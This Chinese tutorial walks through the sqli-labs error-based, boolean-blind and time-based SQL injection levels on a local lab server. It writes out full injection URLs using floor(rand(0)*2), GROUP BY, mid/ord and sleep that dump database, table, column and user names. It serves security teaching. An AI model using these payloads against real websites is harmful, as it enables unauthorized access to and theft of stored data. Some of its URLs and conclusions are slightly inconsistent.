SQLI—labs-master(报错型、布尔型、盲注型sql注入)

第五、六关为报错型SQL注入

说明:此关为报错型sql注入,意思是,输入信息只有报的错误信息,即不是像前几关一样,直接显示出来想要的数据

注入思路:

       没有正常的输出位,需要的数据通过报错进行输出显示

步骤:

前几步与前几关的思路相同,即先判断出来闭合符,输出列数(order by二分法),然后就要用分组的group by语句将不确定的分组进行打印,那么打印的肯定是错误的,即利用打印出来的错误信息来得到想要的数据(比如库名、列数、表名等)

对于group by分组的运行逻辑的说明:

几个函数:

       floor()   向下取整

rand()   0-1的随机数,可加入随机因子,影响其随机值,使其变得不随机

count()   用于计数  即某个字段/表名/ 出现的次数

group by  其后写的是分组的依据

演示:

floor()

SQLI—labs-master(报错型、布尔型、盲注型sql注入)_第1张图片

rand()

SQLI—labs-master(报错型、布尔型、盲注型sql注入)_第2张图片

mysql> select count(*),table_name from information_schema.tables group by table_name;

 

组合:

mysql> select floor(rand()*2);

运行一个0-1的随机数,使其乘以2并向下取整,则输出结果有可能是0 也有可能是1

SQLI—labs-master(报错型、布尔型、盲注型sql注入)_第3张图片

mysql> select count(*),username from users group by floor(rand()*2);

当group by 后的内容计算出来的顺序为011011时就会产生主键冲突,从而进行冲突报错

执行逻辑

1.floor函数计算出来的数是0,就要向输出的一个临时表中插入,如下的一个临时表,但是此时这个表是没有数据的,就要向其中插入数据。

Key

Value

 

 

 

2.那么此时就会第二次执行这个语句,这时floor函数计算出来的数是1,将1插入,并将Value置为1。然后第三次执行这个语句,此时计算出来的是1,临时表中存在1,那么就将Value加1,变成2,这里将Value理解为key出现的次数即可

Key

Value

1

2

 

为什么没有插入0?

       第一次计算出来的0,表中是没有的,想要插入,但是再次计算(想插,插入的是谁,所以要再次运行,一般来说group by后是固定的,所以第二次运行还是之前的key,但是由于此时是随机的值,则会导致出入)是1,则将1插入了

3.第四次执行这个语句,对users表来说执行到了第三行的数据字段(因为group by后的分组依据是个可变因素,在执行表的第一行时,语句跑了两遍),第四次执行语句的时候,floor函数计算出来的是0,表中没有,那么就要进行插入,再次计算得出的是1,向表中插入,但是表中已经存在1了,产生冲突

问题:

为什么能插?

因为第四次执行的时候说的是0,表中没有,则表示可以插,但是第五次执行的是1,一旦插入则导致主键冲突

Key

Value

1

2

1

 

 

问:为什么是011011?随机出来的有可能不是011011啊

答:mysql> select count(*),username from users group by floor(rand(0)*2);这样的语句每次都是011011,则每次执行都会出现冲突错误,这里之所以用011011来解释是为了这里的铺垫,其实不添加随机因子的话,也有可能其他出错的可能比如1010这场计算的顺序也会导致出现冲突错误

SQLI—labs-master(报错型、布尔型、盲注型sql注入)_第4张图片

 

 

应用:

concat是一个拼接函数 0x7e是一个波浪符的hex码

爆库,表,列,数据 统计当前库的表的数量

mysql> select count(*) from users group by concat(floor(rand(0)*2),0x7e,database());

ERROR 1062 (23000): Duplicate entry '1~security' for key 1

mysql>

mysql> select count(*) from users group by concat(floor(rand(0)*2),0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1));

ERROR 1062 (23000): Duplicate entry '1~emails' for key 1

mysql>

mysql> select count(*) from users group by concat(floor(rand(0)*2),0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1));

ERROR 1062 (23000): Duplicate entry '1~id' for key 1

mysql>

mysql> select count(*) from users group by concat(floor(rand(0)*2),0x7e,(select username from users limit 0,1));

ERROR 1062 (23000): Duplicate entry '1~Dumb' for key 1

mysql>

mysql> select count(*) from information_schema.tables where table_schema=database();

+-----------------------+

| count(*)              |

+-----------------------+

|                     4 |

+-----------------------+

1 row in set (0.00 sec)

SQLI—labs-master(报错型、布尔型、盲注型sql注入)_第5张图片

 

接下来进入网页进行测试

 

其页面提示输入ID

SQLI—labs-master(报错型、布尔型、盲注型sql注入)_第6张图片

输入ID后,并没有内容的提示,但是步骤与前四关相似

SQLI—labs-master(报错型、布尔型、盲注型sql注入)_第7张图片

 

根据1=1有内容输出 1=2无内容输出可以得出闭合符为单引号,order by判断出列数为3

SQLI—labs-master(报错型、布尔型、盲注型sql注入)_第8张图片

SQLI—labs-master(报错型、布尔型、盲注型sql注入)_第9张图片

SQLI—labs-master(报错型、布尔型、盲注型sql注入)_第10张图片

SQLI—labs-master(报错型、布尔型、盲注型sql注入)_第11张图片

 

进入正题,报错型sql注入

爆库

http://192.168.211.132/sqli-labs-master/Less-5/?id=-1’ union all select 1,count(*),3 from information_schema.tables group by concat(floor(rand(0)*2),0x7e,(select database()))--+

SQLI—labs-master(报错型、布尔型、盲注型sql注入)_第12张图片

爆表

http://192.168.211.132/sqli-labs-master/Less-5/?id=-1’ union all select 1,count(*),3 from information_schema.tables group by concat(floor(rand(0)*2),0x7e,( select table_name from information_schema.tables where table_schema=database() limit 0,1))--+

SQLI—labs-master(报错型、布尔型、盲注型sql注入)_第13张图片

 

爆列

http://192.168.211.132/sqli-labs-master/Less-5/?id=-1’ union all select 1,count(*),3 from information_schema.tables group by concat(floor(rand(0)*2),0x7e,( select column_name from information_schema.columns where table_schema=database() and table_name=’users’  limit 0,1))--+

SQLI—labs-master(报错型、布尔型、盲注型sql注入)_第14张图片爆数据

http://192.168.211.132/sqli-labs-master/Less-5/?id=-1’ union all select 1,count(*),3 from information_schema.tables group by concat(floor(rand(0)*2),0x7e,( select username from users limit 0,1))--+

SQLI—labs-master(报错型、布尔型、盲注型sql注入)_第15张图片

统计当前库的表的数量

http://192.168.211.132/sqli-labs-master/Less-5/?id=-1’ union all select 1,count(*),3 from information_schema.tables group by concat(floor(rand(0)*2),0x7e,( select count(*) from information_schema.tables where table_schema=database()))--+

SQLI—labs-master(报错型、布尔型、盲注型sql注入)_第16张图片

总结:

       报错型SQL注入三大要素count(*)  group by  floor(rand(0)*2)

 

第八、九关 为盲注类sql注入

概述:第八关为布尔型盲注,顾名思义,页面只会显示You are in……… 或什么也不显示,即只有输入正确才会显示出内容,要么就什么也不显示出来,这就是布尔型的页面显示

思路:   

       通过length()、ord()、mid(abc,1,1)等函数来猜需要爆破的数据的长度、字符(ord是一个将字符转为ASCII值的函数)、mid函数是用于取出字符串的一部分值(从abc的第一位开始截,步长为1)

步骤:
       前几步与之前的关卡相同,判断闭合符,判断列数,然后进入本关的正题,即使用上面列举出来的函数来进行组合来布尔型盲注

演示:

       闭合符为单引号,列数为3

 

SQLI—labs-master(报错型、布尔型、盲注型sql注入)_第17张图片

SQLI—labs-master(报错型、布尔型、盲注型sql注入)_第18张图片

SQLI—labs-master(报错型、布尔型、盲注型sql注入)_第19张图片

进行布尔型注入

  • 猜库的长度(二分法猜)

输入大于7后有显示,输入大于8没有显示,可以得出库的长度是8,前面的关卡可以得出库为security长度就是8

http://192.168.211.132/sqli-labs-master/Less-8/?id=1‘ and length(database())>7--+

SQLI—labs-master(报错型、布尔型、盲注型sql注入)_第20张图片

SQLI—labs-master(报错型、布尔型、盲注型sql注入)_第21张图片

 

  • 猜库名(用mid函数进行库名的截取),判断第一个字母

利用ord来讲字符转换为ASCII值

s的十进制是115,所以>114有输出,>115没有输出

http://192.168.211.132/sqli-labs-master/Less-8/?id=1’and ord(mid(database(),1,1))>114--+

SQLI—labs-master(报错型、布尔型、盲注型sql注入)_第22张图片

SQLI—labs-master(报错型、布尔型、盲注型sql注入)_第23张图片

 

  • 猜表名(同上,用函数的组合)

192.168.211.132/sqli-labs-master/Less-8/? id=1' and ord(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1) ,1,1))>100 --+

e的ascii码的值是101,所以>100有输出,>101没有输出

SQLI—labs-master(报错型、布尔型、盲注型sql注入)_第24张图片

SQLI—labs-master(报错型、布尔型、盲注型sql注入)_第25张图片

 

SQLI—labs-master(报错型、布尔型、盲注型sql注入)_第26张图片

 

第九关

概述:时间型盲注,此关没有任何的提示,只显示一个固定的页面,即无论输入正确与否,页面都没有任何的错误或正确的页面回显

注入思路:利用sleep()函数来使页面迟缓的显示,即当注入的语句执行正确时,页面就会迟缓一会显示出来

步骤:前几步与前几关的思路相同,即先判断出来闭合符,输出列数(order by二分法),然后就要用函数的组合来猜需要的数据

函数:

sleep() //时间注入的核心函数

sleep(1) //过1秒响应

if()函数

if(1=1,3,4) 返回 3

if(1=2,3,4) 返回 4

sleep函数的使用演示:

SQLI—labs-master(报错型、布尔型、盲注型sql注入)_第27张图片

 

关卡判断闭合演示:

思路:如果判断成功,那么闭合就有效,就执行了and后的语句,而and后的语句是一个迟缓显示的sleep()函数,以下语句只有最后一个页面迟缓显示了,因为闭合成功了才会执行and后的语句

id=1) and if(1=2,1, sleep(10)) --+

id=1" and if(1=2,1, sleep(10)) --+

 

id=1' and if(1=2,1, sleep(10)) --+

SQLI—labs-master(报错型、布尔型、盲注型sql注入)_第28张图片

 

  • 猜库名的长度

http://192.168.211.132/sqli-labs-master/Less-9/?id=1’ and if(length(database())=8,1,sleep(1)) --+

http://192.168.211.132/sqli-labs-master/Less-8/?id=1’ and if(length(database())=8,1,sleep(1)) --+

SQLI—labs-master(报错型、布尔型、盲注型sql注入)_第29张图片

可以明显的看到,输入9后,页面迟缓输出,而输入8后,页面直接显示,这说明库名的长度就是8

 

  • 猜库名的第一个字母的字符

http://192.168.211.132/sqli-labs-master/Less-9/?id=1’ and if((ord(mid(database(),1,1))>115),1,sleep(1)) --+

http://192.168.211.132/sqli-labs-master/Less-9/?id=1’ and if((ord(mid(database(),1,1))>114),1,sleep(1)) --+

SQLI—labs-master(报错型、布尔型、盲注型sql注入)_第30张图片

可以明显的看到,输入115后,页面迟缓输出,114后直接输出,说明库名的第一个字母的ASCII码没有115大,但却比114大,所以库名的第一个字母就是s

  • 猜表名

http://192.168.211.132/sqli-labs-master/Less-8/?id=1’ and if((ord(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1) ,1,1))>100),1,sleep(2))--+

http://192.168.211.132/sqli-labs-master/Less-8/?id=1’ and if((ord(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1) ,1,1))>101),1,sleep(2))--+

SQLI—labs-master(报错型、布尔型、盲注型sql注入)_第31张图片

可以明显的看到,输入101后,页面迟缓输出,100后直接输出,说明表名的第一个字母的ASCII码没有101大,但却比100大,所以库名的第一个字母就是e


 

你可能感兴趣的:(#,SQL注入)